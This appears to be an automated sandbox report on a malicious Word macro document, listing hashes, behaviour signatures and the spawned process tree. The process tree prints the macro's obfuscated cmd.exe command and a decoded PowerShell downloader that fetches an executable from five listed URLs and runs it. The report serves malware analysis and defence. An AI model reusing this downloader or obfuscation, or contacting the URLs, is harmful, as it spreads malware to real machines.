Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
12/05/2024, 19:26
General
-
Target
3bb343adbcc470170907f52502fa6872_JaffaCakes118.doc
-
Size
86KB
-
MD5
3bb343adbcc470170907f52502fa6872
-
SHA1
3b18b315bdfbe823a4f849705a70be0acf4ebed4
-
SHA256
62cb2defe8f74e87c30c1d3d42a4831f0b513a3f0631f044a03c7f003c0ae056
-
SHA512
5f2c4a0a7180220e7965060381146256cdd5175d2be730fd30b99b1d0be826b156d7151a520561ee7e40d023d1755f925c1f54f6e4cf2151752cca50e93141ad
-
SSDEEP
1536:D2HSXjssocn1kp59gxBK85fBu+auyqpP63rv:D84241k/W48Ir
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 9 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 31 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3bb343adbcc470170907f52502fa6872_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
\??\c:\windows\SysWOW64\cmd.exec:\mEKzkRGYnjFPXQ\YnhJKqCDDsWmJD\CmmSTHHqddkcu\..\..\..\windows\system32\cmd.exe /C"s^e^t U^1=^.&&^s^et v^E^I=^L&&^s^et ^Ft^0X=^ &&s^e^t ^9l=)^;&&^s^e^t ^Ql^P=^B&&^s^et 4^Z^w=^Ob^j&&s^e^t P^7^l=^$z&&s^e^t 0^5a^b=.^s^av&&^s^et ^gh^1C=e&&^s^e^t ^wg0^K=h^@&&s^e^t ^2Cz=^m&&^s^e^t o^Q^FR=^ &&^se^t ^eN^s=^e&&s^e^t N^O=/&&^s^et ^Eu^M^X=^m^l^h&&^s^et ^6^J8b=n&&s^e^t ^2^aq=^tp^:/&&s^e^t ^a^d=gre&&^se^t ^56=^to&&^s^e^t ^jP^3=^ ^=N&&^s^e^t ^7sC=^ob^am^t&&s^e^t ^76^I^d=r^e&&^s^et ^K^f^F^T=n^d(&&s^e^t ^3a=^i&&^se^t ^1D^5r=n&&^s^e^t ^k^I=^m^l^2.&&s^e^t c^YvQ=^w.&&^s^e^t ^oZ^H^A=^l&&^s^et ^T^a=$^p&&^s^e^t ^Sgc^J=a^d&&^se^t ^u^M^D=e($&&^se^t p^l=o^o&&s^e^t ^o^YCn=^{^}^}&&^s^e^t ^A^U5^g= =^ &&^s^e^t ^3^1=^4&&^s^e^t w^O=^-&&^s^et ^el^z=^ &&^s^et O^h^LG=r&&set gy^X^l=^ &&s^et ^0^Wa=B^o^dy&&^se^t ^1sE^L=^dv^.o^p&&s^e^t ^l^Z^P=c^t&&^s^et a^pv^D=^h^TC)^;^S&&^s^et 9^P^7=j^e&&^s^et ^L5^e=^b&&^se^t ^S^g=()^+&&s^e^t J^s^z=^e^l^l^ &&^s^et T^e=/^pr^o&&^s^e^t N^j=^.&&^s^et AW7q=^tt&&^s^et o^D^u=^e&&se^t ^E^L=^o&&s^e^t ^aB=^.e^x&&^s^et ^5L^Ma=^o^UU&&^s^e^t ^w^LC=^.&&s^e^t ^5^L^3=^y&&^s^e^t ^5^Z^o=^x&&^se^t ^37^S=c&&^s^e^t S^L^a^Q=r&&s^e^t ^qTV^i=^d&&^s^et 7^D=^i&&^s^et NL^l=c&&^s^e^t vG^m^2=^'^;&&^s^e^t P^H=^a&&^s^et ^qw^g=^p&&^s^et ^QN=(^'^@&&s^e^t ^83^w=^e&&s^e^t ^6D^z=C&&s^e^t o^7^K^T=^E&&s^e^t ^Pw^f^1=^$&&s^e^t ^tu=^W&&^s^e^t ^3F=^e&&s^e^t ^U^H=^se&&s^et ^1^Amb=^ &&^s^e^t ^aR^Wr=^t&&^s^e^t W^B=^p^X&&^s^e^t v^d=^ath^]^:^:&&^s^et C0^P=^ht^t&&^s^et a^43^k=^;^br&&^s^et ^5^e^B=c&&^s^et Q^I^aC=^ons&&^s^e^t ^GnH^p=/r&&^se^t EG=v&&^s^et ^qy=^h&&^se^t V^H^p=T&&s^e^t ^Pm^B=^o&&^s^e^t ^u^h^a=^0&&^s^e^t ^FTY^3=^;&&^s^et avVW=^e&&^se^t ^Ut^lj=(&&s^e^t o^j=^p&&^se^t C^Q=^p&&^s^et Q^q2^g=^p^:&&se^t 7^u^2=^W&&^s^et ^Wj^h=^l&&^se^t vV=^.&&^s^et 0^A^E^1=c&&^s^et ^qrn4=^,&&^s^et ^a^2H=^I&&s^e^t n^p^4= ^ ^ &&s^e^t ^Lx^mn=^= N&&s^e^t ^Um^l=^.&&^s^et ^O^TXB= ^ &&^s^e^t ^ag^Br=C^U^Q&&^se^t ^pUI=t^o&&^s^et C^B^M^j=^{^$&&^s^et n^8C^w=C&&^s^et ^k^dr=^ &&^s^e^t ^W^U3=c&&s^e^t F^i=ec&&s^e^t ^S^u^Z^8=r^e^a&&^se^t c^Q^l^K=^o^m/&&s^e^t 2li=//&&^se^t TY^X^9=^@&&^s^et ^w0^y=r^u/^At^fu&&^s^et ^3C=^j=&&^s^e^t ^l^j=^.&&^set C^Hj^L=^p&&^s^et ^A^f^6w=n&&s^e^t ^Q^6^M=r^e^d&&^se^t ^K6^J=^$&&^s^et ^6N^Av=c&&s^e^t ^t^Ggr=^en&&s^e^t ^a3=c&&^s^e^t J^Y^qD=^e&&^s^et a^t^W=^f^b&&^s^et E^e=m^s^x&&^s^e^t g^0^A=^en(^'&&s^et ^3^g^Yo=^'^\&&^s^et ^a^Yc=$^h&&^s^et W^b^i4=n^e^w^sr^ev&&^se^t ny^fc=^i&&^s^et ^S^F^H=^e&&s^e^t ^0^jz=^l&&^s^et ^3R=v^h&&^s^et ^2^3^o^G=^P&&s^e^t N^8^b=l^k&&^s^et W^6^ta=^f&&^s^et 6^4=//&&s^e^t V^8^x^U=^E&&^se^t ^pe=)^;&&^s^e^t ^2^Xj=^@h^t&&^s^e^t ^4O^f=^tar&&^se^t v^X^b4=^')&&^s^et ^8q^L=^w^.^a&&^se^t ^J^z=^Proc^e&&^se^t t^37=n^d&&^se^t ^qx^Y=^k&&^s^et ^L^Sl=^j){^tr&&s^e^t ^Sf=^a&&s^e^t ^9E^I=c^h&&^s^e^t C5^S^P=n^o^-^ate^li^e&&^s^e^t lr^k^4=^t^t^p^:&&^se^t ^k^wL^H=^s^h&&^se^t 6N^W^f=^wr^it^e(&&set aN^8=^TC=(^[^S&&s^e^t ^2^L=();$&&^s^et ^k^S^yn=^u/&&^s^et 4^G=^e^am&&^se^t ^2^x=^e&&^s^e^t 8^d^5=t^ &&^se^t e^7^T=^l&&^s^e^t A^Y=^ &&^se^t Krz=o^m&&^s^et ^KS=v&&^s^et E^m^J=^i&&^s^e^t 5^o=Cr&&^s^et 9^P^3v=^ &&^s^et 4^3=r&&^se^t ^0L^i=r^l&&se^t ^q^O^EI=^t&&^s^et ^L^m=^1^;^$&&^se^t ^O^d^zI=^e&&s^e^t ^uI^U=^l&&^se^t ^P^B^ak=^t&&^se^t ^W^E^4=$^z&&s^e^t ^2^u=^.&&^s^et ^a8=^h&&^s^et 6Q^h^A=^e&&^s^et c^0=^o^m/&&^s^et ^US^q=)^;&&^s^et ^F^O=^p&&^se^t ^aM^E^Z='^;$p^d&&^s^e^t V^tJ^Q=^e'&&^s^et GxA^f=^w&&s^e^t ^2N^d=^i&&^se^t ^G^0J=r&&^se^t 7^8=^ar&&s^e^t ^jT^q=^t^y^p&&^s^e^t k^9^z=^Ge^t^T&&s^et V^TK^8=^'&&s^e^t V2^0^6=^a&&set o^F^y=$&&s^e^t ^o^T^Mr=^ &&^se^t ^W^J^O=^o^p&&s^e^t ^Q^4L=.^s&&^se^t ^AS^EF=^h&&^se^t ^o^8c^O=^$&&^se^t ^U^gi=^zn^W&&s^e^t ^P^k=^$^zn^W^.&&s^e^t a^PS=^p^:&&s^e^t e^B^T^M=^:/&&^s^e^t nN^t=^e&&^s^e^t L^w^8^K=^b&&^se^t l^w=^p&&^se^t ^k^xl=^$^pd&&^s^et v^j=^ &&^s^et ^ORQ^p=r&&^s^e^t g^A^E=n&&^s^et ^e^j^d=^t&&^s^e^t ^oc^U=e^w-&&^s^e^t O^5=^a&&^s^et V^lRb=^;&&^s^et NC=^l&&^s^e^t ^s^l=^p^o^we&&s^e^t k^SC^7=^$&&s^e^t v^q=^h&&^s^e^t V^m=ttp&&^s^e^t ^a^W2^t=^X^j='&&^se^t S^y=^.&&s^e^t ^1^7N=c^h&&^se^t 2^Y^x=/ww&&^se^t ^8x=^h&&^se^t ^L^xw=^ ^ &&s^e^t 5^6^Px=^i&&^se^t C^s=^dv^.&&^se^t u^J^5X=^t^-&&s^e^t ^qRw=^s&&^s^e^t p^i^og=m^ ^'&&s^e^t ^8^5TR=O&&^s^et ^Sg^BK=^s^p&&^s^e^t ^w9C^q=^t&&s^e^t ^a^uHr=^e&&s^e^t Nf^9^4=^t&&^set ^W8^mz=^G&&^se^t n^gd^f=^-&&^se^t ^A^T5^L=^ ^$&&s^e^t N^U=^s^s &&^s^et gG^8^E=)&&^s^e^t QvS=^e&&^s^e^t ^Sr=^a^k}&&^s^e^t u^F=^a&&^s^et nc^d^8=^fi&&^s^e^t cV=^UF^'.S&&^s^e^t ^Gd=^O&&^se^t eIL=-co^m^ 'a^d^od^b&&^s^e^t ^aURV=N&&s^e^t ^LN=m^p^P&&^s^et W^L^D4=^e&&^se^t ^ek^X=v&&s^e^t ^Fy^9c=^'^Sij&&s^e^t ^7^9^w=k^9&&^s^et ^us=W^i&&^s^et ^0F=N^@h^t&&s^e^t C^Uz^5=^;&&^se^t ^K^X^wL=N&&^se^t ^4B=/^K&&^s^et N^HC^S=^0&&^s^e^t 0^I^DQ=^ &&set ^w^B2=^T&&^s^e^t ^PDq^B=^s^.&&^s^e^t ^5v^E=ys^t^e&&^se^t ^4r=^'^,&&s^e^t ^Fg^e=^j&&c^al^l ^s^e^t jKY=%^s^l%%^ORQ^p%%^k^wL^H%%J^s^z%%^Pw^f^1%%^3R%%^3C%%^Fy^9c%%V^TK^8%%^FTY^3%%^T^a%%^a^W2^t%%C0^P%%a^PS%%6^4%%^a^d%%^83^w%%^A^f^6w%%^L5^e%%J^Y^qD%%e^7^T%%Nf^9^4%%W^b^i4%%5^6^Px%%^3F%%c^YvQ%%^5^e^B%%Krz%%^4B%%^7^9^w%%^u^h^a%%^Fg^e%%^5L^Ma%%TY^X^9%%v^q%%V^m%%e^B^T^M%%^GnH^p%%^Sgc^J%%^3a%%^7sC%%V2^0^6%%u^F%%^76^I^d%%^l^j%%^6N^Av%%c^0%%^K^X^wL%%0^A^E^1%%^S^F^H%%v^E^I%%^3^1%%^us%%^2^Xj%%^aR^Wr%%Q^q2^g%%N^O%%T^e%%7^8%%^a3%%^a8%%7^D%%^uI^U%%^Sf%%t^37%%S^y%%S^L^a^Q%%^k^S^yn%%^Ql^P%%^aURV%%^0F%%^2^aq%%2^Y^x%%^8q^L%%NC%%^2^x%%a^t^W%%p^l%%^qx^Y%%^qRw%%^56%%4^3%%o^D^u%%^PDq^B%%NL^l%%c^Q^l^K%%o^7^K^T%%^wg0^K%%^AS^EF%%lr^k^4%%2li%%o^j%%^gh^1C%%^Q^6^M%%avVW%%N^8^b%%ny^fc%%C5^S^P%%N^j%%^w0^y%%cV%%C^Q%%^0^jz%%E^m^J%%^P^B^ak%%^QN%%v^X^b4%%V^lRb%%^a^Yc%%aN^8%%^5v^E%%^2Cz%%^2^u%%^a^2H%%^Gd%%^Um^l%%^2^3^o^G%%v^d%%k^9^z%%^eN^s%%^LN%%P^H%%^e^j^d%%^8x%%^S^g%%^3^g^Yo%%^ag^Br%%^aB%%V^tJ^Q%%gG^8^E%%C^Uz^5%%^W^E^4%%g^A^E%%7^u^2%%^jP^3%%6Q^h^A%%GxA^f%%w^O%%4^Z^w%%F^i%%8^d^5%%n^gd^f%%^W^U3%%^Pm^B%%p^i^og%%E^e%%^k^I%%^5^Z^o%%^Eu^M^X%%AW7q%%^qw^g%%^aM^E^Z%%EG%%^1^Amb%%^Lx^mn%%^oc^U%%^8^5TR%%L^w^8^K%%9^P^7%%^l^Z^P%%A^Y%%eIL%%^Q^4L%%^q^O^EI%%O^h^LG%%4^G%%vG^m^2%%W^6^ta%%^E^L%%^S^u^Z^8%%^1^7N%%^Ut^lj%%^K6^J%%5^o%%^oZ^H^A%%9^P^3v%%^2N^d%%^6^J8b%%^A^T5^L%%W^B%%^L^Sl%%^5^L^3%%C^B^M^j%%^U^gi%%U^1%%^W^J^O%%g^0^A%%^W8^mz%%V^8^x^U%%^w^B2%%^4r%%k^SC^7%%^6D^z%%^0L^i%%^qrn4%%N^HC^S%%^pe%%P^7^l%%^1D^5r%%^tu%%vV%%^U^H%%^K^f^F^T%%^9l%%o^F^y%%^F^O%%^1sE^L%%^t^Ggr%%^2^L%%C^Hj^L%%^qTV^i%%^ek^X%%^w^LC%%^jT^q%%nN^t%%^A^U5^g%%^L^m%%l^w%%C^s%%6N^W^f%%^P^k%%^G^0J%%^O^d^zI%%^Sg^BK%%Q^I^aC%%QvS%%^0^Wa%%^US^q%%^k^xl%%^KS%%0^5a^b%%^a^uHr%%^pUI%%nc^d^8%%^Wj^h%%^u^M^D%%a^pv^D%%^4O^f%%u^J^5X%%^J^z%%N^U%%^o^8c^O%%^qy%%V^H^p%%n^8C^w%%a^43^k%%W^L^D4%%^Sr%%^37^S%%O^5%%^w9C^q%%^9E^I%%^o^YCn%%^k^dr%%v^j%%^o^T^Mr%%^O^TXB%%n^p^4%%gy^X^l%%o^Q^FR%%^L^xw%%^el^z%%^Ft^0X%%0^I^DQ%&&c^a^ll %^j^KY%"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell $vhj='Sij';$pXj='http://greenbeltnewsreview.com/Kk90joUU@http://radiobamtaare.com/NceL4Wi@http://proarchiland.ru/BNN@http://www.alefbookstores.com/Eh@http://peredelkino-atelie.ru/AtfuUF'.Split('@');$hTC=([System.IO.Path]::GetTempPath()+'\CUQ.exe');$znW =New-Object -com 'msxml2.xmlhttp';$pdv = New-Object -com 'adodb.stream';foreach($Crl in $pXj){try{$znW.open('GET',$Crl,0);$znW.send();$pdv.open();$pdv.type = 1;$pdv.write($znW.responseBody);$pdv.savetofile($hTC);Start-Process $hTC;break}catch{}}3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5c47b90ed03a729d21b3490b45f6c6e33
SHA17294ed70cdb86e60ee3525fe3d8d6d9fda08995f
SHA25695ccfdd4e26b64d5fedf1005ea0d1b036c6e082bb823cfa8a7818c5cc0117ba3
SHA51239b65dea90d87bea2795b4a6a0468cce433a67d85131f6e03c21a10b64029af6ab38c1438031099fab46664c428bd5b6b0e1d30154ab76c451a267ca4f49675d
-
Filesize
364KB
-
Filesize
1.2MB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
44KB